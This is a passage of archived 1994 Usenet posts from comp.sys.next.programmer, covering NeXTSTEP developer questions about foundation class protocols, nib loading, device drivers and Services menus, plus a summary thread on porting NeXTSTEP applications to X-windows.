Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Foundation Classes (i.e. String Class) and future problems Message-ID: <CJwCCM.1Dz@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2hhlvb$74v@cronkite.cisco.com> Date: Wed, 19 Jan 1994 21:43:33 GMT See below for the original line of thought.... An excellent way to set standards for implementations of fundamental/foundation classes is to specify a standard protocol. By conforming to that protocol any developer of a foundation class guarantees compatibility with anything that knows how to speak that protocol. Specifically for Strings: Objective Technologies has a product called OTStringKit-- a more than complete objective-C implementation of c-string encapsulation. The foundation class OTString only has 3 or 4 methods in its interface-- everything else is specified in the "OTStrings" protocol. The "OTStrings" protocol contains declarations for all of the standard string operations-- by doing this, it is extremely easy to implement a category or subclass such that a pre-existing class (such as Text) supports the "OTStrings" protocol. BTW: If you aren't familiar with OTI's StringKit solution, it is incredibly useful and well worth the sticker price-- I have been using it for some time now and it has made up for its price many times over in the amount of time saved in developing and debugging applications. (If anyone would like to see some example code outside of what OTI includes, I'd be happy to forward some). b.bum Barry Friedman writes > In article <2hhcuj$9ig@gaia.ucs.orst.edu> Tim Pugh <tpugh@oce.orst.edu> writes: > > > >I see this as a problem for every foundation class that NeXT does not specify > >and third parties create. With NeXT making specifications for OpenStep, I > >suggest that NEXTSTEP developers do the same for foundation classes not > >supported by NeXT. > > > > 1) Identify foundation classes. > > 2) Write a specification for minimal conformance as a protocol. > > > >This way, our objectware is better integrated and conforms well between > >competing products, so I don't have to learn two or more String Classes. > > > >I'd like to have some discussion whether this is an issue others agree or > >disagree with. If we agree it is an issue, let's begin writing and publishing > >the specs. I'd be happy to organize it but feel that I am not in a position to > >represent NEXTSTEP developers. I would hope NeXT and/or ANDI be actively > >involved in setting standards for foundation class conformance. > > This is a great idea and it is an area where NeXT could show a lot of > industry leadership. I thought standardizing protocols was going to be > something that OPN was going to work on, but it seems they've mostly > focused on the object licensing problem. Any chance OPN could refocus > on this issue? > > I also seem to remember NeXT offering to act as a protocol clearinghouse. > Does anyone else remember this? Has NeXT ever said anything more about it? > > Another area where standardized protocols would be useful is application > APIs. For example, a spreadsheet app might publish a computation service > via Distributed Objects. Wouldn't it be nice if other spreadsheet apps > or any other app that provided a computation service conformed to the same > protocol? > > If this sort of standardization were accomplished, it would give NS a real > advantage that would mesh well with their MCCA focus. > > Barry > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Barry Friedman | heisenbug: from Heisenberg's Uncertainty Principle. > Cisco Systems Inc | A bug that disappears or alters its behavior > bfriedman@cisco.com | when one attempts to probe or isolate it. -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: TubeTester wanted. Date: 20 Jan 1994 12:14:21 -0000 Organization: me organized? That's a joke! Message-ID: <2hlsit$2v8@steffi.demon.co.uk> If you have Brian Pinkerton's TubeTester DBTableView demo would you kind get in touch. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "Nothing" Charade, 1963 robert@steffi.demon.co.uk (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: evil Application behavior... Message-ID: <1994Jan20.143714.5739@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Thu, 20 Jan 1994 14:37:14 GMT This bit me the other day, and I thought I might pass this tidbit on... For the latest release of my WavesWorld palettes, I wanted to implement a plug-in for 3DReality. One of the main reasons I wrote the palettes that I released was for a new modeling language I came up with called eve, which is essentially tcl with a RenderMan binding. Using the UI elements on the WWTCLWidgets palette, you can tie UI objects to variables inside the model, and load nib files containing these UI objects in the model. I wanted to build a plug in for a commercial 3D app to show how my stuff was orthogonal to the commercial stuff out there. Anyway, enough back story. I wrote my plug-in and linked it against the library version of my palettes. Neither the library nor the resulting bundle was stripped, since I knew I was going to be loading nibs that would refer to objects from those libraries. I fire up 3DReality and load in my bundle. No problem. Load in a simple eve file. No problem. Load in a relatively complicated eve file. No problem. Load in a very simple eve file with it's own dynamically loaded UI. problem. Doesn't work. I fire everything up in gdb and fish around. Basically, my code is diving into Application's loadNib:... routine and never coming out. At Andrew Stone's suggestion, I wrap the call in an exception handler. Turns out an exception is being raised (I think it was 8003, which didn't correspond to anything I found in /usr/include/*/erro*). Then I remembered a similar problem I had when I wrote a workspace inspector that loaded in nibs: classes had been stripped out when the bundle was loaded in. I got around it by sending a [Class name] to each class I wanted to make sure survived being dynamically loaded into the app. Kludgey, but it works. So, I guess the point of this story is two-fold: when writing bundles that get loaded into other apps, watch out for this problem. The other is that Application's loadNib:... can silently fail with an exception, and never return to give you a chance to report the error unless you wrap it with an exception handler. Oy vey. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: peterson-john@CS.Yale.Edu (John C. Peterson) Subject: Re: Does HASKELL exist for NEXT? In-Reply-To: hill@iisnext2.unil.ch's message of 20 Jan 1994 10: 14:25 GMT Message-ID: <PETERSON-JOHN.94Jan20112126@sparrow.CS.Yale.Edu> Sender: news@cs.yale.edu (Usenet News) Organization: Computer Science, Yale University, New Haven, CT 06520-2158 References: <2hlli1$lsj@cisun2000.unil.ch> Date: Thu, 20 Jan 1994 11:21:26 GMT The Yale Haskell system can be built on Allegro Common Lisp if this is available to you. Yale Haskell is free and can be ftp'ed anonymously from nebula.cs.yale.edu. You need the source release in pub/haskell/yale/haskell-source-207.tar.gz. We are also working on a Nextstep environment for our compiler; this should be ready in a few months. I will be happy to answer any further questions regarding Yale Haskell. John Peterson peterson-john@cs.yale.edu Yale Haskell Project
From: gerti@tms-gmbh.de (Gerd Knops) Newsgroups: comp.sys.next.programmer Subject: Re: Foundation Classes (i.e. String Class) and future problems Date: 20 Jan 1994 10:37:06 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401201602.AA02649@Cranach.tms-gmbh.de> Yes, I am in there. The benefits of NS are the reusable Objects. But so far, one could only rely on the NeXT provided ones, and had to write every other 'foundation class' on his own. That is NOT the idea behind OOP. So, lets do it! Gerd
From: gt8855a@prism.gatech.EDU (Bert Lindgren) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: WinSock under SoftPC? Summary: Does it work? Additional products needed? Keywords: windows networking and SoftPC Message-ID: <132928@hydra.gatech.EDU> Date: 20 Jan 94 07:49:45 GMT Followup-To: comp.sys.next.misc Organization: Georgia Institute of Technology What are the networking capabilities of SoftPC? Certainly, we do as much networking in NEXTSTEP (NFS mounting, etc), but we also have some Windows programs that use WinSock. Any info? Thanks, Bert -- Bert Lindgren Georgia Tech, Atlanta Georgia, 30332 (404) 841-6220 Internet: bert@cc.gatech.edu Prodigy: Surely you jest >>>>>>>>>>>> NeXT Mail always enjoyed and appreciated <<<<<<<<<<<<<<
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: uunet!lkba!lkb (Larry Blische) Subject: Is there a bigger panic window? Message-ID: <1994Jan20.163025.7087@lkba.uucp> Sender: lkb@lkba.uucp (Larry Blische) Organization: LKB Associates, Inc. Date: Thu, 20 Jan 1994 16:30:25 GMT When my NeXTstation panics all I can see is the end of the panic output in that tiny panic window. On occasion, I've seen posts which looked to me like they contained more info than would fit in that window. Where does one find this info? Am I missing something? Is there a way to capture the panic output, say to a blank floppy? Thanks --- Larry Blische lkba!lkb@uunet.UU.NET LKB Associates, Inc. NeXTmail Welcome! 3118 Dunglow Road 410 285 2262 Dundalk, Maryland 21222-5304 USA
Newsgroups: comp.sys.next.programmer From: cowboy@omega.csuohio.edu (Joe Rosenfeld) Subject: This is somewhat embarassing ... Message-ID: <1994Jan20.190000.10090@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Thu, 20 Jan 1994 19:00:00 GMT I have several NeXT computers, both black and white, running NS 3.2. I am unable to do the following (and I really want to correct this): 1. Install successfully the GNU source that came with the Developer package (I can get gcc-2.5.7 to install with no problems). 2. Make FAT binaries. I have tried to go through the docs and I must be missing something. Can anyone please explain this so I can go ahead and do this right. When I click both NeXT and Intel in the Project Builder I only get m68k binaries. My NetInfo LAN prefers FATs :-) I DID install for both NeXT and Intel--at least I checked off both platforms. Any help GREATLY appreciated. TIA, Cowboy -- | Joe Rosenfeld j.rosenfeld@csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
From: keith@starburst.umd.edu (Keith Norris) Newsgroups: comp.sys.next.programmer Subject: Does NeXT offer big business opportunities? Date: 20 Jan 1994 19:22:22 GMT Organization: Chesapeake Biological Laboratory Message-ID: <2hmlle$7pl@gamera.umd.edu> Sorry about the previous empty messages. This is the message that was supposed to appear. >Is NeXTstep used in business organizations often >or is it a high-end system mainly used in the home or on small >projects? >I'm trying to decide if this would be a profitable platform to >support if I became a developer. >How do you think that it will contend with NT. >Do you think NeXT will grow and prosper to become an industry great. >It won't be as wide spread as Solaris, right? >Also, what functions does the student version lack that the real >full blown version supports and what do you guesstamate the full blown version of NeXTstep to cost?-- -- ************************************************************************** * Keith L. Norris | keith@starburst.umd.edu * * Frostburg State University | c2mxnorr@fre.fsu.umd.edu * * * * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! * * ! DETERMINED TO LEARN - NO GIVING UP WHERE I'M FROM ! * * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! * * * **************************************************************************
Newsgroups: comp.sys.next.programmer From: tjhendry@mcs.drexel.edu (Jonathan Hendry) Subject: IconBuilder filters Message-ID: <1994Jan20.183716.4652@netnews.noc.drexel.edu> Sender: news@netnews.noc.drexel.edu Organization: Drexel University, Dept. of Math. and Comp. Sci. Date: Thu, 20 Jan 1994 18:37:16 GMT Has anyone written a filter for IconBuilder.app? Is there any kind of example or documentation available anywhere? -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
From: Tim Pugh <tpugh@oce.orst.edu> Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Foundation Classes - NeXT Expo meeting... Date: 20 Jan 1994 20:03:14 GMT Organization: University Computing Services - Oregon State University Message-ID: <2hmo22$2ue@gaia.ucs.orst.edu> NEXTSTEP Developers: All I've heard from the net is agreement that foundation class conformance is a problem and needs attention by developers. Therefore, I suggest developers attend a discussion at the NeXT Expo to figure out the logistics of implementing conformance protocols. If the objectware developers do what ever they please independently of others, the users of objectware are going to be frustrated when competing objects do not have conformance. I won't be attending the NeXT Expo in Washington D.C. but could someone who is add this topic, "3RD PARTY FOUNDATION CLASSES NEED FOR CONFORMANCE", to a round table discussion. Please let me know if you are going and could moderate a Birds-of-a-Feather session or at some other informal discussion time. I'll then let everyone know who the moderator is and when and where the discussion will take place. I'll even write a paper on the need for conformance of third party Classes to introduce the topic and begin the discussion. I hope to achieve awareness of this problem, cooperation among developers, and an outline of how to proceed. FROM NEXT EXPO PRESS RELEASE; "The mid-day break is reserved for informal Birds-of-a-Feather sessions about topics of special interest to developers or to visit with a variety of NEXTSTEP partners showcasing their products and solutions. Developers may reserve a time slot to conduct a Birds-of-a-Feather session of their choice by sending e-mail to bof@next.com with information about the topic and moderator." It may too late for setting up a Birds-of-a-Feather session but an informal time could be arranged. Tomorrow, I'll post a summary of the responses I've received. So, please get your input to me or to the News Groups. If there is problem with this idea, express it now! - Tim - -------------------------------------------------------------- Tim Pugh email: tpugh@oce.orst.edu Oceanic and Atmospheric Sciences voice: 503-737-2270 Oregon State University fax: 503-737-2064 NeXTmail ok!
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss) Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.hardware Subject: Re: Help: regarding drivers Date: 20 Jan 1994 20:20:00 GMT Organization: Northwestern University, Evanston IL USA Message-ID: <2hmp1g$q4d@news.acns.nwu.edu> References: <1994Jan20.033732.13355@news.cs.brandeis.edu> In article <1994Jan20.033732.13355@news.cs.brandeis.edu>, t.balasubramanian <balu@jensen.cc.brandeis.edu > wrote: >Hi, > We want to do simple slow IO with a NeXTStep Intel machine, along the >lines of "put this byte out to that IO port" and "read a byte from that IO >port". We expected some simple functions similar to outb() and inb() from >microsoft (DOS) c to exist, and, infact the "same" functions were found in >"\NextDeveloper\Headers\driverkit\i386\ioPorts.h". They include the >warning "Note: These functions work only at kernel level". Does this mean >that we must write some complex device driver ?. If so does the generic >version exist or any suggestions as to how to go about writing will be >appreciated. > > We tested our board to which we want to write or read by booting >the intel 486 to DOS and that works as we expected. But then we tried to >do the same thing by booting the system to NeXTStep with the above >mentioned ioPorts.h header file included and the application just quits >when we try to write to the port. > > We would greatly appreciate any suggestions from anyone familiar >with these as to what is it that we are missing here. If possible please >reply to balu@jensen.cc.brandeis.edu. > I don't think you will be able to do what you wish to do without some kind of driver. Dos is a completely unprotected computer enviornment. Programs are free to diddle with any port, byte or register in the system. Of course if they step on the wrong bit, the entire system comes to an immediate and not to graceful halt (Grock CTRL-ALT-DEL?). Nextstep (as well as OS/2, NT) are environments in which general user programs are not allowed to touch the computers hardware directly. Normally all requests for physical access go to the operating system, are checked to minimize the chance they will compromise the machine and then performed by the o/s via some driver or kernal function on behalf of the the user program. If the request is in some way illegal or improper that user program (and hopefully only) that program is terminated. The rest of the programs and the system will keep on going. Some operating systems have functions similiar to what you need to use, but generally restrict the use of the function to a special class of users. Its sometimes possible to get direct access to the ram memory under unix with the correct user class or permissions, but I/O ports are not memory mapped in the PC architecture (last time I bothered to check anyway). A driver to implement this on the Next shouldn't be all that difficult, but I'll let those with DriverKit experience speak to that point. -- Jerry S. Weiss j-weiss@nwu.edu Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois %SYSTEM-S-PHALOKTARG, Phasers Locked on Target, Ready to Fire
Newsgroups: comp.sys.next.programmer From: clloyd@gleap (Charles C. Lloyd) Subject: OPN Mailing list?? Message-ID: <1994Jan20.184615.4431@gleap.sccsi.com> Sender: clloyd@gleap.sccsi.com Organization: GiantLeap Software Date: Thu, 20 Jan 1994 18:46:15 GMT I tried to send something to the OPN (Open Protocols for NeXT) mailing list and got a bounce. Does anybody know what the proper email address is? I have: OPN@vega.stanford.edu Thanks, Charles. -- Charles Lloyd clloyd@GLeap.sccsi.com GiantLeap Software (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax)
From: skeets@cac.stratus.com (Paul Pederson) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.programmer Subject: How To Add New APPS to my Services Menu Date: 20 Jan 1994 20:36:19 GMT Organization: Stratus Computer Inc, Marlboro MA Distribution: na Message-ID: <2hmq03$7dj@transfer.stratus.com> Keywords: services menu preferences I wish to have additional applications available from my Services Menu. I am running NeXTSTEP 3.0. I was told that the Services should add themselves, if they are coded to do so. I look into my .NEXT/services/.applist file which I figure is the configuration file for the services list. In this file I see the pathname names of the applications is wish to see. When I open my Services Preferences window the applications don't show up. Could someone tell me what to do? Skeets PS: We have a PC running NeXTSTEP 3.1 and it shows the applications in its services menu.
From: griffid@flash_heart (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: How to query nmserver? Date: 20 Jan 1994 11:50:25 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2hlr61$5r@gpo.gb.swissbank.com> References: <1994Jan19.150914.18516@il.us.swissbank.com> In article <1994Jan19.150914.18516@il.us.swissbank.com> montyz@il.us.swissbank.com (Montgomery Zukowski) writes: > > but I was really looking for a way to query the name server and see all > > the registered ports by name. Is there a command, system call(s) or > > something in the machkit (that I'm missing) that could be used to do > > this? > > My understanding is that you cannot ask for names from the name > server. I talked about it with Next's DO programmer and he said it was a > security feature. More like a lack of security feature. :-) Once you know the name of a port, you can make a connection. Hiding the names is a pretty feeble way to paper over the crack... Dave Griffiths
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Rich Text Source Code?! In-Reply-To: art@cubicsol.com's message of 19 Jan 1994 15:57:46 GMT To: art@cubicsol.com (Art Isbell) Message-ID: <CEDMAN.94Jan19194738@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CJtH7t.A70@pdh.com> <2hjl9q$cid@darkstar.UCSC.EDU> Date: Thu, 20 Jan 1994 00:47:38 GMT In article <2hjl9q$cid@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: I just saw a Microsoft Visual Basic editor the other day which worked similarly. But the way it worked wasn't to change the source code by adding all the RTF directives. Instead, the editor itself had all the smarts. It knows about language key words, syntax, and other language features so the source code doesn't have to be altered. This is what I'd like to see happen with Edit. But emacs is the user-extensible editor, so adding the smarts to emacs might be doable, although not trivial. But the standard emacs 19 can already now do this ! If you have emacs 19 for NeXTstep (or run emacs 19 under one of the X emulators) you can see all the bold/italic/underline/colors on your NeXT right now. Carl Edman
Newsgroups: comp.sys.next.programmer From: Robert_La_Ferla@hot.com Subject: Re: Logging out under program control - HOW ? Message-ID: <1994Jan21.001512.1350@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Jan19.141344.5026@ohm.york.ac.uk> Date: Fri, 21 Jan 1994 00:15:12 GMT Good question. While I can't seem to find specifically what you want, I do have a couple of interesting tidbits courtesy of our friends at the NeXT D.C. office: 1. Any application on your dock can bring up the logout/power off panel when the user quits by using the following dwrite. % dwrite Workspace DockController X where X is a number between 0 and 12 indicating the position of the application on your dock. The Workspace Manager is at position 0. 2. The other tidbit is that you can Alternate-Command double click on Workspace Manager and the logout/power off panel will come up immediately without bringing any windows to the foreground. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consultant In article <1994Jan19.141344.5026@ohm.york.ac.uk> rog@ohm.york.ac.uk (Roger Peppe) writes: > Normally, the only way of logging out is to double-click on > the Workspace icon, and activate the 'log out' item in its > main menu. > > Is it possible to get a program to do the same thing ? (from the > command-line, for instance) > > I've found NXWorkspaceRequestProtocol, but it doesn't seem to contain > anything that helps in this respect. > > thanks for any help, > rog. > > roger peppe +44 904 432379 rog@ohm.york.ac.uk > adaptive systems engineering university of york england
Newsgroups: comp.sys.next.programmer From: Robert_La_Ferla@hot.com Subject: Re: Help: regarding drivers Message-ID: <1994Jan21.010308.1578@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Jan20.033732.13355@news.cs.brandeis.edu> Date: Fri, 21 Jan 1994 01:03:08 GMT If you're doing serial communications, check out "SerialPortKit" from Hot Technologies. Write info@hot.com for more details. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consultant In article <1994Jan20.033732.13355@news.cs.brandeis.edu> balu@jensen.cc.brandeis.edu (t.balasubramanian) writes: > Hi, > We want to do simple slow IO with a NeXTStep Intel machine, along the > lines of "put this byte out to that IO port" and "read a byte from that IO > port". We expected some simple functions similar to outb() and inb() from > microsoft (DOS) c to exist, and, infact the "same" functions were found in > "\NextDeveloper\Headers\driverkit\i386\ioPorts.h". They include the > warning "Note: These functions work only at kernel level". Does this mean > that we must write some complex device driver ?. If so does the generic > version exist or any suggestions as to how to go about writing will be > appreciated. > > We tested our board to which we want to write or read by booting > the intel 486 to DOS and that works as we expected. But then we tried to > do the same thing by booting the system to NeXTStep with the above > mentioned ioPorts.h header file included and the application just quits > when we try to write to the port. > > We would greatly appreciate any suggestions from anyone familiar > with these as to what is it that we are missing here. If possible please > reply to balu@jensen.cc.brandeis.edu. > > Thanks very much for your time > > Balu
From: cdb@xedoc.com.au (Cameron Bromley) Newsgroups: comp.sys.next.programmer Subject: Anyone have the UI recording classes? Date: 21 Jan 1994 06:31:00 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2hnsr4$i0f@yarrina.connect.com.au> Hi, Some time ago, I came across a set of classes/libraries which (I think) enhanced the more common UI classes such as Button and Window in such a way that any user actions were recorded, timestamped and saved somehow. It's intention was to monitor user actions and use the results to figure out which parts of your interface got used and which parts were ignored or confusing. My memory is that it was part of a UI doctoral thesis by a student somewhere in the US. My problem is that have no memory of what the thing was called or which ftp site I got it from (!). I've looked around on all the standard sites, but couldn't find anything. Does anybody have it, or a less vaugue memory of where it was and what it was called? Thanks, Cameron. ---------------------------------------------------------------- Cameron Bromley cdb@xedoc.com.au Xedoc Software Development Pty. Ltd. Fax +61-3-696-6757 222 Park St., Phone +61-3-696-2490 South Melbourne VIC, 3206 Australia
From: t146678@lehtori.cc.tut.fi (Tuominen Juha) Newsgroups: comp.sys.next.programmer Subject: Icon(s)+text in a browser cell Date: 21 Jan 1994 15:53:18 +0200 Organization: Tampere University of Technology, Computing Centre Distribution: world Message-ID: <2homoe$col@cc.tut.fi> I'm trying to write a program, that loads a browser with information containing both icons and text. So far I've been able to load them up with icons or text but not at the same time. Workspace's background processes panel uses this feature and it would be very handy in the program I'm writing now. All help appreciated. The system version I'm using is NSi 3.2. -Juha -- Doctor, doctor! I suck. You've gotta help me.
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 21 Jan 1994 08:33:50 -0800 Message-ID: <2hp05e$6i5@ursula.ee.pdx.edu> References: <CJtH7t.A70@pdh.com> <2hjl9q$cid@darkstar.UCSC.EDU> <CEDMAN.94Jan19194738@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: >But the standard emacs 19 can already now do this ! If you have emacs >19 for NeXTstep (or run emacs 19 under one of the X emulators) you can >see all the bold/italic/underline/colors on your NeXT right now. I think Emacs' `parsing' hilighter is more sensible than RTF source. Other than RTF-links (of dubious value, IMHO), is there anything of code-maintenance value that can only be acheived by a rich format? (Page size, and global attributes can be stored in document `Local Variables).
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: Re: Porting NS prototypes to X-windows -- SUMMARY (long) Date: 21 Jan 1994 10:46:27 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401211644.AA03170@cantina.lanl.gov> Greetings all, A week ago today, I posted the original of this thread. Some of the answers sent directly to me and posted as follow-ups are very useful. I have collected them here, more or less in the order received and with some mild editing. Dick Silbar WhistleSoft, Inc. ===================================================================== My orginal posting: I have run into the following stumbling block when I am pitching NEXTSTEP to prospective clients, such as yesterday afternoon. I went through what I consider as a succesful demo of a prototype of a NS front-end to a Fortran batch code that my potential client sells to engineering firms for doing fluid dynamics calculations. In the end his reaction was, essentially: "Well, nice, but I don't want to force MY customers into using a platform they've never heard of or don't want to get into. How hard would it be to develop your front-end for my code and then, when we're happy with it, port it to X?" OK, I don't know very much about X-windows, so I am passing the question along to you folks. Surely this must be a common situation we NEXTSTEP developers face, but I don't recall ever seeing a discussion about it here in this newsgroup. (Maybe I just wasn't paying attention?) Some questions: 1. I was making the (unsubstantiated?) claim that NS development was about four times easier (faster, simpler, cleaner, etc.) than X-windows development. True? 2. Is the NS developers' environment "richer" than that for X? I.e., is it more straightforward to port from NS to X, or vice versa? 3. Are there toolkits available that can facilitate the port? 4. Anybody have any war stories about doing such ports that they want to share? I suspect that I'm going to need good answers to these questions, perhaps even others, if I'm going to make that sale. And such situations may well arise for others from time to time. Thanks for your anticipated postings, and here's hoping for a nice (new?) thread. Dick Silbar WhistleSoft, Inc. ===================================================================== Date: Fri, 14 Jan 1994 15:20:33 -0700 From: yackd@alaska.et.byu.edu (Don Yacktman) Subject: Re: Porting NS prototypes to X-windows In article <9401141758.AA13429@cantina.lanl.gov> you write: > Some questions: I'm no expert, but I'll throw in my $0.02 on the answers... > 1. I was making the (unsubstantiated?) claim that NS development was about > four times easier (faster, simpler, cleaner, etc.) than X-windows > development. True? I'd say so. I find NS development to be _at_least_ four times faster, if not better. It all depends on the project, really. > 2. Is the NS developers' environment "richer" than that for X? I.e., is it > more straightforward to port from NS to X, or vice versa? NS is far richer, IMHO. And, although there's a lot of objects and functions in there -- a lot more functionality than X -- it's easier to use as well. So you have a system (NS) which is actually more complex and at the same time easier to use. As a programmer, I use my NS manuals less than the X manuals. (I have to sit with the X manuals in my lap to write for X...) I find the ports to NS from X aren't tough at all. Mostly, you have to spend your time deleting code. :-) NS to X is like developing the app all over again, IMHO. If you start off knowing you'll be porinting, though, you can make the job a little easier by designing things appropriately from the start. > 3. Are there toolkits available that can facilitate the port? I saw a toolkit on sonata years ago that (from 2.1) spoofed the NS objects like window and button, and were wrappers to the XWindows calls. So that a programmer could use Obj-C objects that look like NeXT objects, but actually draw to XWindows. Does that kinda make sense? I think it even had an Application-type of object. Obviously, you couldn't use IB with these objects, because they did not descend from the real NS objects, but they sure make X a hell of a lot easier to use. I'd definitely look into this, or extending it. You'd really need a similar kit if you were doing a lot of porting...or else you'd be in a lot of pain. Well, I hope that helps. It's one person's opinion, anyway. Don ===================================================================== From art@cubicsol.com Sat Jan 15 10:16:30 1994 Date: Fri, 14 Jan 94 18:22:22 -0800 From: Art Isbell <art@cubicsol.com> In comp.sys.next.programmer article <9401141758.AA13429@cantina.lanl.gov> you wrote: > "Well, nice, but I don't want to force MY customers into using a > a platform they've never heard of or don't want to get into. How hard > would it be to develop your front-end for my code and then, when we're > happy with it, port it to X?" You should definitely contact Paul Kunz at the Stanford Linear Accelerator Center (pfkeb@kaon.slac.stanford.edu) about this matter. He's been involved with porting NS apps to Motif using GNU's Objective-C compiler which is available for most Unix OS's and utilities that convert nib files to GNU's archived object format. He's reimplementing the AppKit API so that Motif function calls occur from within the NS methods. -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515 ===================================================================== From Paul_Kunz@SLAC.Stanford.EDU Sat Jan 15 10:01:56 1994 Subject: Porting NS prototypes to X-windows Our answer to the problem of porting NeXTSTEP applications to X windows is to build a Objective-C class library for X that emulates NeXTSTEP. Then as programmer, you never have to deal with X again. We're making this library freely available and some day it might become GNUStep. ===================================================================== To: Paul_Kunz@SLAC.Stanford.EDU Hello, Paul, Art Isbell also reminded me that you were into this project. It sounds like an extremely useful thing to do and a boon to the community. Do you have any guess as to how long it'll be before you'll have the library available? I guess I should also ask, do you need any help? (You'll have to bear in mind that I don't know a damn thing about X-programming.) Dick ===================================================================== From Paul_Kunz@SLAC.Stanford.EDU Sun Jan 16 10:30:59 1994 The library is available via anonymous ftp from ftp.slac.stanford.edu as the file pub/sources/objcX-0.6.tar.gz. It still needs work but is good enough for simple use of the GUI. Also in the same directory is the file trnib-0.6.tar.gz which is a nib translator. It creates GNU Objective-C archive files out of NeXT's nib files. This program must run on a NeXT, but the library has been tested on SUN, Ultrix and Linux. P.S. Yes I need help. I'd like to make it a community project. There are two parts to it. Stuff where you need to know X and parts which are just NeXTSTEP. Take a look at it and tell me where you would like to contribute. ===================================================================== From jfr@pdh.com Sat Jan 15 19:42:05 1994 From: jfr@pdh.com (Jon F. Rosen) You wrote: > > [munch] > > In the end his reaction was, essentially: > > "Well, nice, but I don't want to force MY customers into using a > platform they've never heard of or don't want to get into. How > hard would it be to develop your front-end for my code and then, > when we're happy with it, port it to X?" HAH! Maybe you should convince him that he should try and educate his customers on a BETTER way of doing things. Maybe they should HEAR about NeXTSTEP and that would solve his dilemma. > OK, I don't know very much about X-windows, so I am passing the > question along to you folks. Surely this must be a common > situation we NEXTSTEP developers face, but I don't recall ever > seeing a discussion about it here in this newsgroup. (Maybe I > just wasn't paying attention?) There are a lot of people who think like this. Most of us ignore them :-) Or try to educate them. Anyway, I will try and answer the questions you have posed. Some of my qualifications: I am currently the database architect for a major application being written in NeXTSTEP. I have used NeXTSTEP for 2-1/2 years (DevCamp in Nov. 1991) and I also co-own a software company that is developing a relational database for NeXTSTEP/OpenStep. In previous jobs, I have been the Manager of Core Technology for Red Brick Systems where I managed the development of a relational database for Unix. I was Director of Software Development for Locus Computing where I designed and managed the development of a user-oriented database query tool for Motif (under X-windows). I was also Senior Group Manager of Coordinated Product Development for Teradata Corporation, where I handled development interface requirements for third party vendors who wanted their tools to work with Teradata's database computer. It was while I was at Locus that I became infatuated with NeXTSTEP and decided to change my career direction. I had a team of five developers working on our Query By Windows product which ran on Motif. QBW took almost 12 months to develop the first prototype. When I took Dev Camp, I went back home and implemented an almost complete version of QBW for NeXTSTEP single-handedly in about two months of evenings. Of course, I was working from an established design, but the programming productivity was substantial. I figure it at about 5:1 compared to X-windows. X and Motif programming is simply too difficult to do well. IMHO, of course :-) > Some questions: > > 1. I was making the (unsubstantiated?) claim that NS development > was about four times easier (faster, simpler, cleaner, etc.) than > X-windows development. True? See above. I think it is closer to 5 times easier, faster, simpler and cleaner. The main advantages are Objective-C (which of course could be adapted to Motif if someone wanted to take the trouble) AND the AppKit which has such a rich collection of primitives that you can do most things with almost no effort at all. For instance, one example is the First Responder paradigm. This is something that good NeXTSTEP developers get to know intimately but has no parallel in Motif or Windows for that matter. First Responder simply means that you can connect actions to be taken (from a button or a menu or whatever) to First Responder. When that action is triggered, it is automatically sent to the Window that is currently the First Responder in the Responder chain. In Motif, a menu callback procedure has to have access to a list of Windows and has to be able to determine which Window is currently being used in order to have the appropriate procedure called for an action. This is automatic in NeXTSTEP. > 2. Is the NS developers' environment "richer" than that for X? > I.e., is it more 